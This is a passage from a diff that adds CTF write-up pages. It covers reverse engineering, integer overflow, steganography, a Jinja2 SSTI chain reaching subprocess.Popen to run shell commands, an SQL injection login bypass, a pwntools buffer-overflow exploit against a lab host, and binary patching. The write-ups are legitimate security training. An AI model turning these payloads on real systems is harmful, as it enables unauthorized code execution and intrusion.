+		std::__cxx11::basic_string<>::~basic_string((basic_string<> *)local_f4);
+	}
+	binaryStringToInt(&local_218);
+	this_01 = std::vector<>::operator[](&local_200,local_24);
+	std::__cxx11::basic_string<>::operator=((basic_string<> *)this_01,local_dc);
+	std::__cxx11::basic_string<>::~basic_string((basic_string<> *)local_dc);
+	std::__cxx11::basic_string<>::~basic_string((basic_string<> *)&local_218);
+}
+

I got something like this, what this means is we enter a bunch of stuff in the vector this_00, convert binary strings to integers (which is prolly what is printing the numbers that we see on the screen).

Now what do we know about the numbers that we are getting? We know that according to the above function each number that we get is being converted from a binary string. This means our first step should be to get the binary versions of each numbers.

Now in the decompiled code, we can see the frequency table, (look carefully!) and we can write that in C++ as,

	std::unordered_map<char, unsigned> mp;
+		mp['5'] = '1';
+		mp['R'] = '1';
+		mp['n'] = '1';
+		mp['K'] = '1';
+		mp['4'] = '1';
+		mp['C'] = '1';
+		mp['T'] = '2';
+		mp['I'] = '2';
+		mp['0'] = '1';
+		mp['u'] = '1';
+		mp['F'] = '1';
+		mp['M'] = '1';
+		mp['{'] = '1';
+		mp['_'] = '1';
+		mp['H'] = '1';
+		mp['}'] = '1';
+		mp['f'] = '2';
+		mp['m'] = '1';
+

This means the flag contains these symbols with these frequencies. Thus, we can get a general flag as 5RnK4CTTII0uFM{_}Hffm and why this is useful, is simply because huffman encoding gives the same encoding for “x” any other permuatation of “x”.

Thus, if we encode this flag, we’ll get a different binary but it will have the same number of bits. But firstly, we’ll have to find the binary form of the fake flag. This is because

	#include <iostream>
+	#include <string>
+	#include <queue>
+	#include <unordered_map>
+	#include <algorithm>
+	#include <bitset>
+	#include <stdexcept>
+	#include <vector>
+	#include <fstream>
+	#include <sstream>
+	#include <cmath>
+	using namespace std;
+	struct HuffmanNode {
+	    char data;
+	    unsigned frequency;
+	    HuffmanNode* left;
+	    HuffmanNode* right;
+	    HuffmanNode(char data, unsigned frequency)
+	        : data(data), frequency(frequency), left(nullptr), right(nullptr) {}
+	    ~HuffmanNode() {
+	        delete left;
+	        delete right;
+	    }
+	};
+	struct Compare {
+	    bool operator()(HuffmanNode* left, HuffmanNode* right) {
+	        return left->frequency > right->frequency;
+	    }
+	};
+	void buildCodes(HuffmanNode* root, const std::string& code, std::unordered_map<char, std::string>& codes) {
+		if (!root)
+			return;
+		if (root->data != '\0')
+			codes[root->data] = code;
+		buildCodes(root->left, code + "0", codes);
+		buildCodes(root->right, code + "1", codes);
+		}
+	HuffmanNode* buildHuffmanTree(const std::unordered_map<char, unsigned>& freqMap) {
+		std::priority_queue<HuffmanNode*, std::vector<HuffmanNode*>, Compare> pq;
+		for (const auto& pair : freqMap) {
+			pq.push(new HuffmanNode(pair.first, pair.second));
+		}
+		while (pq.size() != 1) {
+			HuffmanNode* left = pq.top(); pq.pop();
+			HuffmanNode* right = pq.top(); pq.pop();
+			HuffmanNode* parent = new HuffmanNode('\0', left->frequency + right->frequency);
+			parent->left = left;
+			parent->right = right;
+			pq.push(parent);
+		}
+		return pq.top();
+}
+	int main(){
+		std::unordered_map<char, unsigned> mp;
+		mp['5'] = '1';
+		mp['R'] = '1';
+		mp['n'] = '1';
+		mp['K'] = '1';
+		mp['4'] = '1';
+		mp['C'] = '1';
+		mp['T'] = '2';
+		mp['I'] = '2';
+		mp['0'] = '1';
+		mp['u'] = '1';
+		mp['F'] = '1';
+		mp['M'] = '1';
+		mp['{'] = '1';
+		mp['_'] = '1';
+		mp['H'] = '1';
+		mp['}'] = '1';
+		mp['f'] = '2';
+		mp['m'] = '1';
+		std::string encoded_flag = "1773 1166 1693 1110 795 1561 115 1879";
+		std::string data = "5RnK4CTTII0uFM{_}Hffm";
+		HuffmanNode* root = buildHuffmanTree(mp); // build the tree
+		std::unordered_map<char, std::string> codes; // build the codes
+		buildCodes(root, "", codes);
+		std::string encoded = encode(data, codes);
+		std::cout << encoded.size();                    // this is the size
+

This boiler plate code is simply using ready made functions you can find on GitHub. Now, what do we know about the size?

Now in the binaryStringToMatrix() function we know that the binary string is being converted to a matrix and it uses the length of the binary string as the rows. The number of rows we have is the number of numbers in the encoded flag, which is 8 1773 1166 1693 1110 795 1561 115 1879.

	int cols = encoded.size();
+	int rows = 8;
+

Now we want to convert each encoded number to its binary form and then pad that to the cols size. For example, base2 of 317 is 100111101 which is 9 digits, but i need 11, so, i will make 317 as 00100111101… and so on for each of them. Why 11? its because the flag encoded in base2 gives 11 bits… (you can run the code to find out!)

	std::stringstream ss(encoded_flag);
+	    std::vector<int> numbers;
+	    std::string temp;
+	    														// break the string into numbers
+	    while (ss >> temp) {
+	        numbers.push_back(std::stoi(temp)); // Convert to integer and store
+	    }
+	    std::vector<std::string> binaryStrings;														// convert to binary, pad to length 11, and store it in the binaryStrings vector
+	    for (int num : numbers) {
+	        std::string binary = std::bitset<11>(num).to_string();
+	        binaryStrings.push_back(binary);
+	    }
+	/*
+	   	for (const std::string &binary : binaryStrings) {													// print em
+	        std::cout << binary;
+	    }
+	*/
+	    // with this you get the huffman encoded string of the FLAG itself and you have the frequency table of the flag...
+	    // 1101110110110010001110110100111011000101011001100011011110000110010000111001111101010111
+	    std::string encodedString = "1101110110110010001110110100111011000101011001100011011110000110010000111001111101010111";
+	    // now write the decode function and decode it using the frequency table and the encoded string to get the flag.
+	    std::string flagDecoded = decodeHuffman(encodedString, root);
+	    std::cout << flagDecoded;
+	}
+

The decode function can be found online (or just ask “someone” to do it for you)

	std::string encode(const std::string& data, const std::unordered_map<char, std::string>& codes) {
+	    std::string encoded;
+	    for (char c : data) {
+	        encoded += codes.at(c);
+	    }
+	    return encoded;
+	}
+	std::string decodeHuffman(const std::string& encodedStr, HuffmanNode* root) {
+	    std::string result;
+	    HuffmanNode* current = root;
+	    for (char bit : encodedStr) {
+	        if (bit == '0') current = current->left;
+	        else current = current->right;
+	        if (!current->left && !current->right) {
+	            result += current->data;
+	            current = root;
+	        }
+	    }
+	    return result;
+	}
+

So, the final code to decode is

	#include <iostream>
+	#include <string>
+	#include <queue>
+	#include <unordered_map>
+	#include <algorithm>
+	#include <bitset>
+	#include <stdexcept>
+	#include <vector>
+	#include <fstream>
+	#include <sstream>
+	#include <cmath>
+	using namespace std;
+	struct HuffmanNode {
+	    char data;
+	    unsigned frequency;
+	    HuffmanNode* left;
+	    HuffmanNode* right;
+	    HuffmanNode(char data, unsigned frequency)
+	        : data(data), frequency(frequency), left(nullptr), right(nullptr) {}
+	    ~HuffmanNode() {
+	        delete left;
+	        delete right;
+	    }
+	};
+	struct Compare {
+	    bool operator()(HuffmanNode* left, HuffmanNode* right) {
+	        return left->frequency > right->frequency;
+	    }
+	};
+	void buildCodes(HuffmanNode* root, const std::string& code, std::unordered_map<char, std::string>& codes) {
+	    if (!root)
+	        return;
+	    if (root->data != '\0')
+	        codes[root->data] = code;
+	    buildCodes(root->left, code + "0", codes);
+	    buildCodes(root->right, code + "1", codes);
+	}
+	HuffmanNode* buildHuffmanTree(const std::unordered_map<char, unsigned>& freqMap) {
+	    std::priority_queue<HuffmanNode*, std::vector<HuffmanNode*>, Compare> pq;
+	    for (const auto& pair : freqMap) {
+	        pq.push(new HuffmanNode(pair.first, pair.second));
+	    }
+	    while (pq.size() != 1) {
+	        HuffmanNode* left = pq.top(); pq.pop();
+	        HuffmanNode* right = pq.top(); pq.pop();
+	        HuffmanNode* parent = new HuffmanNode('\0', left->frequency + right->frequency);
+	        parent->left = left;
+	        parent->right = right;
+	        pq.push(parent);
+	    }
+	    return pq.top();
+	}
+	std::string encode(const std::string& data, const std::unordered_map<char, std::string>& codes) {
+	    std::string encoded;
+	    for (char c : data) {
+	        encoded += codes.at(c);
+	    }
+	    return encoded;
+	}
+	std::string decodeHuffman(const std::string& encodedStr, HuffmanNode* root) {
+	    std::string result;
+	    HuffmanNode* current = root;
+	    for (char bit : encodedStr) {
+	        if (bit == '0') current = current->left;
+	        else current = current->right;
+	        if (!current->left && !current->right) {
+	            result += current->data;
+	            current = root;
+	        }
+	    }
+	    return result;
+	}
+	int main(){
+		std::unordered_map<char, unsigned> mp;
+		mp['5'] = '1';
+		mp['R'] = '1';
+		mp['n'] = '1';
+		mp['K'] = '1';
+		mp['4'] = '1';
+		mp['C'] = '1';
+		mp['T'] = '2';
+		mp['I'] = '2';
+		mp['0'] = '1';
+		mp['u'] = '1';
+		mp['F'] = '1';
+		mp['M'] = '1';
+		mp['{'] = '1';
+		mp['_'] = '1';
+		mp['H'] = '1';
+		mp['}'] = '1';
+		mp['f'] = '2';
+		mp['m'] = '1';
+		std::string encoded_flag = "1773 1166 1693 1110 795 1561 115 1879";
+		
+		/*
+		we know it has 8 rows (cause 8 numbers here)... How do we figure out the number of characters?
+		The thing about huffman codes is, as long as the frequencies remain the same, the encoded string is the same... --> make a random string from the
+		frequency table, say "5RnK4CTTII0uFM{_}Hffm", then encode it using huffman encoding
+	*/
+		std::string data = "5RnK4CTTII0uFM{_}Hffm";
+		HuffmanNode* root = buildHuffmanTree(mp); // build the tree
+		std::unordered_map<char, std::string> codes; // build the codes
+	    buildCodes(root, "", codes);
+	    
+	    std::string encoded = encode(data, codes);
+	    std::cout << encoded.size(); // Now we have the size of the encoded flag
+	    int cols = encoded.size();
+	    int rows = 8;
+	    // now we want to convert each number in encoded_flag to its binary form and pad that to "cols" size. for example, base2 of 317 is 100111101 which is 9 digits, but i need 11
+	    // so, i will make 317 as 00100111101... and so on for each of them 
+	    std::stringstream ss(encoded_flag);
+	    std::vector<int> numbers;
+	    std::string temp;
+	    														// break the string into numbers
+	    while (ss >> temp) {
+	        numbers.push_back(std::stoi(temp)); // Convert to integer and store
+	    }
+	    std::vector<std::string> binaryStrings;														// convert to binary, pad to length 11, and store it in the binaryStrings vector
+	    for (int num : numbers) {
+	        std::string binary = std::bitset<11>(num).to_string();
+	        binaryStrings.push_back(binary);
+	    }
+	/*
+	   	for (const std::string &binary : binaryStrings) {													// print em
+	        std::cout << binary;
+	    }
+	*/
+	    // with this you get the huffman encoded string of the FLAG itself and you have the frequency table of the flag...
+	    // 1101110110110010001110110100111011000101011001100011011110000110010000111001111101010111
+	    std::string encodedString = "1101110110110010001110110100111011000101011001100011011110000110010000111001111101010111";
+	    // now write the decode function and decode it using the frequency table and the encoded string to get the flag.
+	    std::string flagDecoded = decodeHuffman(encodedString, root);
+	    std::cout << flagDecoded;
+	}
+

You’ll prolly realise this is brainfuckery. A lot of things are hard to read from the disassembly, but this is how its going to be in the real world! A lot of it is domain knowledge, and some intuitive feel.

There is always a way for those brave enough to find it…

\ No newline at end of file diff --git a/writeups/Guild_Selection_CTF/Protogame/index.html b/writeups/Guild_Selection_CTF/Protogame/index.html new file mode 100644 index 0000000..d2a9d34 --- /dev/null +++ b/writeups/Guild_Selection_CTF/Protogame/index.html @@ -0,0 +1,52 @@ +Protogame
../Protogame

Protogame

In this challenge we are given a C++ program, a helper file and a netcat address. If we try to connect to the address, we can see that there is a lot of things going on here!

Stage 0

This stage is where we understand the program. Reading the cpp file, we can see that the code for 2 levels. The helper file contains all the functions that are not normally defined in cpp (like ProtoBossStatus) and all the classes are also present in the helper file (like ProtoBoss).

The code for stage 1 says that we’re supposed to choose 2 characters out of 4 (in the Choosecharacter() function). The characters have a varying degree of skills, relating to the hitpoints and the attack they have. We’re supposed to kill the protoboss in this round. (hmm doesn’t seem so hard)

The code for stage 2 says that we’re supposed to pick how much ever hitpoints we want, but the protoboss will have an attack power of 3 times that. It’s also evident that to kill the protoboss here, we’ll have to attack twice (cause our attack power is 100), but protoboss will kill us in one go…

Stage 1

The four characters that we have are:

	Proto1 : Proto1 has the highest damage but also has the lowest health in the game
+	Proto2 : Proto2 can't deal any damage but can heal the other character if it's alive
+	Proto3 : Proto3 has mediocre damage and a health enough to sustain few attacks from ProtoBoss
+	Proto4 : Proto4 has the highest health while it has the lowest damage
+

We’ll have to find a way to kill the protoboss so the most logical choice would be Proto1 and Proto2, cause Proto1 will hit him hard and Proto2 will heal. However, the problem is Protoboss levels up! He gains attack points depending on the current round and after 51 rounds, he basically has god level status and can one-kill all the protos.

If we calculate, we’ll never be able to kill protoboss in 51 rounds, without dying first if we choose any of the 6 possible combinations! What we’re going to exploit is this piece of code

       	if(P1.ID != 2){
+                P1.move(P1.ID , P1 , ProtoBoss) ;
+            }
+            else{
+                P1.move(P1.ID , P2 , ProtoBoss) ;
+            }
+        }
+        else{
+            if(P2.ID != 2){
+                P2.move(P2.ID , P2 ,  ProtoBoss) ;
+            }
+            else{
+                P2.move(P2.ID , P1 , ProtoBoss);
+            }
+        }
+

What this is saying is, if the P1.ID != 2 (which will be true as it’ll definetly be 1) then we move Proto1, just as we normally would. And if P2.ID is not 2 (which won’t be trust as it’ll be 2), then we move P2.

The cool thing is, when P2.ID is 2, then we move P1 and when P1.ID is 2 we move P2. ID will be 2 for proto2, which heals everyone. Now, the boss damage increases and keeps increasing… when we reach round 30, the boss damage is more than INT32_MAX!

Hence, we’d have reached an integer underflow condition and subtracting this value from the hitpoints, in fact adds to it (cause you’re subtracting a bigger negative number, which means you’re adding a big number)! So, autoplay will continue this, until you will…

Note that, you needed proto2 to sustain proto4 until round 30. Any other proto other than 4 would’ve died before reaching round 30 no matter how much proto2 tried to heal it.

stage 2

Now in this stage, we’ve been asked to enter a number between 0 and INT_MAX (2147483647). Whatever we choose, this will be our hitpoints, but we’re doomed anyway cause protoboss’s attack is 3 times this!

Let’s look at the relevant code to see any vulnerabilities,

 if(c == 'A'){
+        ProtoBosshitpoints -= damage ;
+        if(ProtoBosshitpoints <= 0){
+            Stage2Status(ProtoBosshitpoints , ProtoBossdamage , hitpoints , damage);
+            cout << Stage2WinText ; Stage2Win();
+            return true ;
+        }
+        Stage2Status(ProtoBosshitpoints , ProtoBossdamage , hitpoints , damage); 
+        cout << Protobossturn ; 
+        int originalhitpoint = hitpoints ;
+        hitpoints = hitpoints - ProtoBossdamage ;           
+        if(originalhitpoint < hitpoints){
+            slp();
+            cout << Impossible ; hitpoints = 0 ;         
+        }     
+        else if(-INT32_MAX < hitpoints && hitpoints < originalhitpoint){
+            hitpoints = 0 ;
+        }       
+        if(hitpoints == 0){
+            Stage2Status(ProtoBosshitpoints , ProtoBossdamage , hitpoints , damage); slp();
+            cout << Stage2LossText; slp(); return false ;
+        }
+        else{
+            continue ;
+        }
+    }
+

This is what happens when we attack. Note that, in order to win we have to somehow attack twice, but one hit from protoboss and we’re dead… or are we?

Look at this,

	else if(-INT32_MAX < hitpoints && hitpoints < originalhitpoint){
+		hitpoints = 0 ;
+	}       
+

Its checking if our hitpoints is higher than -INT32_MAX. What if it’s less than that? Well, it’ll just continue as if nothing happened. What about our hitpoints then? It’ll be lower than -INT32_MAX, so negative! This means in the next round, we’ll again reach the continue bit while our health goes even more negative. This means we’ll win!

How do we reach that negative hitpoint? INT32_MAX is 2147483647, and we know that protoboss’s attack is 3 times whatever number we choose. Let’s say we chose x. Protoboss’s hitpoints is 3x. What we need is, to solve this equation,

	x-3x <= -2147483647
+	or
+	x-3x = -2147483648
+

When protoboss attacks us, we want out final hitpoints to go below -INT32_MAX. Thus, x comes out to be 1073741824. This means that, if we choose this specific number, then protoboss’s attack will be just enough to push our final hitpoints below -INT32_MAX and hence, out of the restrictions of the program!

Use this, and get the flag.

flag: IITM{R6G_pRo7O_f1Ag}

\ No newline at end of file diff --git a/writeups/Guild_Selection_CTF/ReportToMe/index.html b/writeups/Guild_Selection_CTF/ReportToMe/index.html new file mode 100644 index 0000000..99193b4 --- /dev/null +++ b/writeups/Guild_Selection_CTF/ReportToMe/index.html @@ -0,0 +1,3 @@ +Report to me!
../ReportToMe

Report to me!

Report to me!

We’ve been given a tar file. We can open this guy using

	tar -xvf report.tar
+

This gives us a directory called report. Inside there is a docx file and a zipped file. The zipped file is locked!

If we open the report.docx file, we can see that it contains some texts. However, what we can’t see are the characters that have been whittened out! If you press ctrl+A on your keyboard you’ll see that highlighted!

Note that it’s in general a good practise to press ctrl+A and check if there are whitespaces or characters you are missing.

Now that you have the passcode to open the zipped file, we can unzip it and then go inside.

Inside is an image and an audio file. At first nothing seems wrong, but if you open the audio file through a frequency spectrum analyser (another good tip for audio challenges: always open using frequency spectrum analyser), you’ll see a passcode being printed out.

Such embeddings are common in audio CTFs, and there are many tools that allow you to do something like that. The resulting audio may be useless but if you combine this channel with a valid one, and lower this one’s decibles, you’ll have an almost perfect steganography!

Now that we have the passcode, we can use steghide to extract a hidden file from inside the image.jpg file. How do I know something is hidden there? I don’t, it simply a trial and error process. You need to exhaust your options first and then look elsewhere.

	steghide --extract -sf "image.jpg" 
+

When prompted to enter the password, enter what you found there and boom. You have the flag.

\ No newline at end of file diff --git a/writeups/Guild_Selection_CTF/SayHello/index.html b/writeups/Guild_Selection_CTF/SayHello/index.html new file mode 100644 index 0000000..6aaa0ed --- /dev/null +++ b/writeups/Guild_Selection_CTF/SayHello/index.html @@ -0,0 +1,3 @@ +Say Hello!
../SayHello

Say Hello!

Say Hello!

So, none of the common web exploitation techniques work here. There is nothing special in the HTTP requests, nothing in web directories or vhosts. At this point you should try out techniques like SSTI, XSS etc. Luckily for us, testing for SSTI gives results right away!

	test for SSTI using: {{}} --> gives error means, potential SSTI threat
+

useful link: https://portswigger.net/web-security/server-side-template-injection

Now that we know its SSTI, we want to understand what template engine is running this. This also we can test using prompts,

	template engine: Jinja2 (test using {{7*'7'}}, if it gives 7777777 then its Jinja2)
+

once we know the template engine, we can look for ways to exploit this specifically.

useful: https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti

Going systematically, once we have figured out that SSTI is possible in this, test out these things

  1. {{''.__class__}} should return “str” or “string”
  2. {{''.__class__.mro()}} should return “str” and “object”. We therefore have access to the “object” class if we use something like {{''.__class__.mro()[-1]}}. This is amazing!

What we are looking for, is any way to get some function which we can use to read the flag which lies in the server.

The main thing that stands out in stuff like this, is shell code execution. The thing therefore that we are looking for is a way to execute shell commands, just like using the “os” module in python.

We can check all the subclasses available to us (not intentionally but since there is a SSTI vulnerability we can use that and see) using this

  1. {{''.__class__.mro()[-1].__subclasses__()}}

This will return a lot of subclasses. We need to look for something called <class 'subprocess.Popen'>. This will allow us to use shell command and execute arbitrary code on the server! After running this command, locate this class and get its index. For me, it was -12.

  1. {{''.__class__.mro()[-1].__subclasses__()[-12]}} gives the class subprocess.Popen.

Now we can read the “flag.txt” file (this is something you can assume, that the flag’s name is flag.txt) using the following command

  1. {{''.__class__.mro()[1].__subclasses__()[-12]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}. The additional parameters are as advocated by the link given above.

flag: FLAG{Sh3n4n1g4ns!nject3d}

\ No newline at end of file diff --git a/writeups/Guild_Selection_CTF/SomethingIsAskew/index.html b/writeups/Guild_Selection_CTF/SomethingIsAskew/index.html new file mode 100644 index 0000000..166f636 --- /dev/null +++ b/writeups/Guild_Selection_CTF/SomethingIsAskew/index.html @@ -0,0 +1,3 @@ +Something Is Askew
../SomethingIsAskew

Something Is Askew

Something Is Askew

This is an SQL injection challenge

Try out different prompts from this GitHub repo “https://github.com/payloadbox/sql-injection-payload-list”.

The main difference here is that there is an additional bracket that comes into picture.

Thus to properly escape the query and comment it out, you’ll need to take care of this bracket as well. The prompt that works (others similar to this will also work) is:

	username: admin') or '1'='1'--
+	password: <any random stuff>
+

Note that we’ve used single quotation marks, this is because a double quotation was being interepreted differently by the server (try and check it out!)

flag: iitmCTF{PpP0Oo5tgr85Ql}

\ No newline at end of file diff --git a/writeups/Guild_Selection_CTF/index.html b/writeups/Guild_Selection_CTF/index.html new file mode 100644 index 0000000..a7081dd --- /dev/null +++ b/writeups/Guild_Selection_CTF/index.html @@ -0,0 +1 @@ +Redirect

Click here to be redirected. \ No newline at end of file diff --git a/writeups/Guild_Selection_CTF/ocaptainmycaptain/index.html b/writeups/Guild_Selection_CTF/ocaptainmycaptain/index.html new file mode 100644 index 0000000..f8762b8 --- /dev/null +++ b/writeups/Guild_Selection_CTF/ocaptainmycaptain/index.html @@ -0,0 +1,4 @@ +O Captain My Captain

../ocaptainmycaptain

O Captain My Captain

O Captain My Captain

This challenge gives you a lot of directories and files. It’ll be very improbable to go through each of them and manually search. Luckily we have grep!

	grep -ir ctf .
+

If we use this command, we are looking inside all the files in the current directory (looking at their strings that is…) and seeing if any of them match the pattern ctf (a case insensitive search because of -i).

Why ctf? Its because we assume that the flag is hidden inside some file and the flag format contains the letters “ctf”. Hence, it makes sense (you could also search for iitm or iitmctf as you like, you should likely try everything that comes to your mind).

Now that it gives us an image, lets open that.

	open 5d/9d/9d/lol.png
+

This is definetly hydra! Now, if you know about password cracking then you’d know that hydra is a pretty popular tool in that field. However, in this case, its not meant for that. This is another grep search! (again, you might be tempted to “crack” png file using hydra somehow, but you’ll soon learn its not worth it).

	grep -ir hydra .
+

This gives us a file. Using strings on that file, we can see the strings (duh) and get the flag!

flag: iitmctf{kbgud_kinda_impressed_lol}

\ No newline at end of file diff --git a/writeups/Guild_Selection_CTF/ohmyadmin/index.html b/writeups/Guild_Selection_CTF/ohmyadmin/index.html new file mode 100644 index 0000000..702da83 --- /dev/null +++ b/writeups/Guild_Selection_CTF/ohmyadmin/index.html @@ -0,0 +1,3 @@ +Oh my admin
../ohmyadmin

Oh my admin

In this challenge, we’ve been given a login page and asked to sign in as admin. When we enter the credentials,

	username: admin
+	password: admin
+

we get the message: “Wrong SessID”

What this means is, the server internally checks the user’s request for the session ID to verify if they’re really admin. We can intercept this request using burpsuite.

  1. Launch burpsuite, head over to the proxy tab and open a new browser instance. (if you don’t have burpsuite installed, it’s a pretty simple process so don’t worry, just google)

  2. In the new browser, enter url and then switch the intercept mode on.

  3. use credentials as mentioned above and inspect the request

you’ll see a header named session_id which contains a base64 encoded string. We decode it to find that its of the format <username><someNumber>(in our case admin<somenumber>). For some specific number this will give us the flag (atleast that’s what comes to mind initially).

However, there exists a sneakier way. What we want to do, is raise an exception in the server, and see if we get traceback messages. This means we can read the backend code that is being implemented and read the flag directly!

  1. Raise an exception by passing an empty string as the session_id. This will throw an Error and allow you to see the traceback. Now that we’ve verified we can see the traceback, we’ll get to reading the code

  2. In the session_id we are entering a base64 encoded string. This implies that there is a possibility for the backend server to have a base64 decode statement in it’s main function. Since, we know its running a python based flask server, it’ll probably be using the base64 library to decode.

Hence, one crazy thing we can do is mess with the base64 characters. If we enter invalid base64 characters in the session_id it will throw an error and allow us to do a traceback. If we do this, there is a special function which is throwing an error (as expected, its the base64.decode() part which didn’t work) and upon clicking on it, the flag is visible in plaintext!

Turns out that the session_id was admin<number> but the number ain’t visible, but that don’t matter anymore anyway.

flag: FLAG{b6k3d_c00k13ez}

\ No newline at end of file diff --git a/writeups/Guild_Selection_CTF/overfloworchestra/index.html b/writeups/Guild_Selection_CTF/overfloworchestra/index.html new file mode 100644 index 0000000..9054a74 --- /dev/null +++ b/writeups/Guild_Selection_CTF/overfloworchestra/index.html @@ -0,0 +1,45 @@ +Overflow Orchestra
../overfloworchestra

Overflow Orchestra

This is how the canary is implemented here (This is the decompiled function through IDA)

	v6 = 0LL;
+	v5 = 0x6C9B1F74;
+	puts("Oops! I hope that wasn't your plan all along.");
+	fflush(_bss_start);
+	gets(v3, argv);
+	v4 = v5 ^ 0x6C9B1F74;
+	if ( v5 != 0x6C9B1F74 )
+	{
+	puts("Surprise! Something went wrong, didn't it?");
+	puts("Who let the bugs out?");
+	exit(1);
+	}
+

This means, we effectively have the canary leaked…

and,

	if ( v6 == 0xDEADBEEF )
+	{
+	puts("Well, I guess you've earned this...");
+	system("cat flag.txt");
+	}
+	else
+	{
+	printf("code == 0x%llx\n", v6);
+	printf("code != 0x%llx :(\n", 3735928559LL);
+	puts("Well, that was unexpected...");
+	}
+	exit(0);
+	}
+

This means, we still got to rewrite the v6 variable.

Let’s analyse using gdb. Run the following commands in succession,

	gdb ./vuln
+	disassemble main
+

We can see in the disassembly that at the address main+79 or 0x0000000000001238 there is an xor instruction. This is what we need to see, because we want to figure out the number of bytes we should write to change the value being xored.

After running, we can enter this string “Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A” and see that the RAX registry contains, “Ab6Ab7Ab”, which is at an offset of 48.

Hence, after 48 bytes, whatever is written is being xored with 0x6c9b1f74. If we need the answer to be 0, we need to send in the same data here. We can also see this in the stack dump in ghidra,

	undefined main()
+	undefined         AL:1           <RETURN>
+	undefined8        Stack[-0x10]:8 ToRewrite                               XREF[3]:     001011f5(W), 
+	undefined8        Stack[-0x18]:8 TheCanary                               XREF[2]:     001011fd(W), 
+	undefined8        Stack[-0x20]:8 xored                                   XREF[2]:     0010123e(W), 
+	undefined1[40]    Stack[-0x48]   input                                   XREF[1]:     00101223(*)  
+

We can see that right after the canary is the variable we want to rewrite into 0xdeadbeef. Thus, this script will be do everything,

	from pwn import *
+	context.binary = binary = ELF("./vuln")
+	context.log_level = "critical"
+	payload = flat([
+		b"A"*48,
+		p64(0x6c9b1f74),
+		p32(0xdeadbeef)
+		])
+	p = remote('10.21.232.38', 7002)
+	p.sendline(payload)
+	p.interactive()
+

flag: iitmCTF{0v3rfl0w_0p3r4_t1c}

\ No newline at end of file diff --git a/writeups/Guild_Selection_CTF/patchUporDie/index.html b/writeups/Guild_Selection_CTF/patchUporDie/index.html new file mode 100644 index 0000000..d6fe9d4 --- /dev/null +++ b/writeups/Guild_Selection_CTF/patchUporDie/index.html @@ -0,0 +1,47 @@ +Patch up or die
../patchUporDie

Patch up or die

We’ve been given a binary, let’s run that. So, we’re getting a prompt to enter a number and when we do so, we get an error message. We keep getting that, nothing seems to be working. We also have flag.txt but it’s not the actual flag of course, its encrypted. You can try and reverse the encryption, but there is an easier way.

We’ll fire this up in IDA because it’s the best disassembler ever!

You’ll encounter this bit of code. At first it might seem harmless, but this code is essentially saying, that we move a random time based number into the eax register. This is what is used to compare out input to!

	.text:00401953                 lea     ecx, [esp+4]
+	.text:00401957                 and     esp, 0FFFFFFF0h
+	.text:0040195A                 push    dword ptr [ecx-4]
+	.text:0040195D                 push    ebp
+	.text:0040195E                 mov     ebp, esp
+	.text:00401960                 push    esi
+	.text:00401961                 push    ebx
+	.text:00401962                 push    ecx
+	.text:00401963                 sub     esp, 3Ch
+	.text:00401966                 call    ___main
+	.text:0040196B                 mov     dword ptr [esp], 0 ; Time
+	.text:00401972                 call    _time
+	.text:00401977                 mov     [esp], eax      ; Seed
+	.text:0040197A                 call    _srand
+	.text:0040197F                 call    _rand
+	.text:00401984                 mov     [ebp+var_1C], eax
+

This means, there are 3 ways to move forward,

  1. Reverse the flag encryption logic and decode it
  2. Set a breakpoint when we load the random number and then use that
  3. Patch the binary

Comparing all of these, I find it much easier to patch the logic. Here’s how we do it,

	.text:00401987                 mov     dword ptr [esp+4], offset aEnterTheNumber ; "Enter the number: "
+	.text:0040198F                 mov     dword ptr [esp], offset __ZSt4cout ; std::ostream::sentry *
+	.text:00401996                 call    __ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc
+	.text:0040199B                 lea     eax, [ebp+var_28]
+	.text:0040199E                 mov     [esp], eax
+	.text:004019A1                 mov     ecx, offset __ZSt3cin ; std::cin
+	.text:004019A6                 call    __ZNSirsERy     ; std::istream::operator>>(ulong long &)
+	.text:004019AB                 sub     esp, 4
+	.text:004019AE                 mov     eax, [ebp+var_1C]
+	.text:004019B1                 mov     edx, 0
+	.text:004019B6                 mov     [ebp+var_30], eax
+	.text:004019B9                 mov     [ebp+var_2C], edx
+	.text:004019BC                 mov     eax, [ebp+var_28]
+	.text:004019BF                 mov     edx, [ebp+var_24]
+	.text:004019C2                 mov     ecx, [ebp+var_30]
+	.text:004019C5                 xor     ecx, eax
+	.text:004019C7                 mov     ebx, ecx
+	.text:004019C9                 mov     ecx, [ebp+var_2C]
+	.text:004019CC                 xor     ecx, edx
+	.text:004019CE                 mov     esi, ecx
+	.text:004019D0                 mov     eax, esi
+	.text:004019D2                 or      eax, ebx
+	.text:004019D4                 test    eax, eax
+	.text:004019D6                 jnz     short loc_4019DF
+	.text:004019D8                 call    __Z22decrypt_and_print_flagv ; decrypt_and_print_flag(void)
+	.text:004019DD                 jmp     short loc_401A06
+

This is the main function. Look at this specific code here,

	.text:004019D4                 test    eax, eax
+	.text:004019D6                 jnz     short loc_4019DF
+

This is being used to compare the two values (the one we enter and the random number), and if it’s not true, then we jump to the error message code. So, if we patch the binary by changing these instructions to nop.

We change the first first 4 bytes to 90 in the test instruction. 90 stands for the nop instruction, which is the instruction which will be skipped over. Hence, we can control the flow of execution through this.

	.text:004019D4                 nop  
+	.text:004019D6                 nop  
+

Thus, we are going to call the decrypt_and_print_flag() regardless of whether the number we enter is same as the random time based number.

flag: IITMCTF{B1n4ry_p4tch1ng_r0ck5}

\ No newline at end of file diff --git a/writeups/Guild_Selection_CTF/shell/index.html b/writeups/Guild_Selection_CTF/shell/index.html new file mode 100644 index 0000000..74ae4c9 --- /dev/null +++ b/writeups/Guild_Selection_CTF/shell/index.html @@ -0,0 +1,137 @@ +Shell is Love, Shell is life
../shell

Shell is Love, Shell is life

As with all pwn challenges, we run checksec on the binary checksec --file=pwn

    Arch:       amd64-64-little
+    RELRO:      Full RELRO
+    Stack:      Canary found
+    NX:         NX unknown - GNU_STACK missing
+    PIE:        PIE enabled
+    Stack:      Executable
+    RWX:        Has RWX segments
+    SHSTK:      Enabled
+    IBT:        Enabled
+    Stripped:   No
+

NX bit is disabled !, we can execute code on the stack!, let us try dissassembling the binary using GHIDRA


+undefined8 main(void)
+
+{
+  long in_FS_OFFSET;
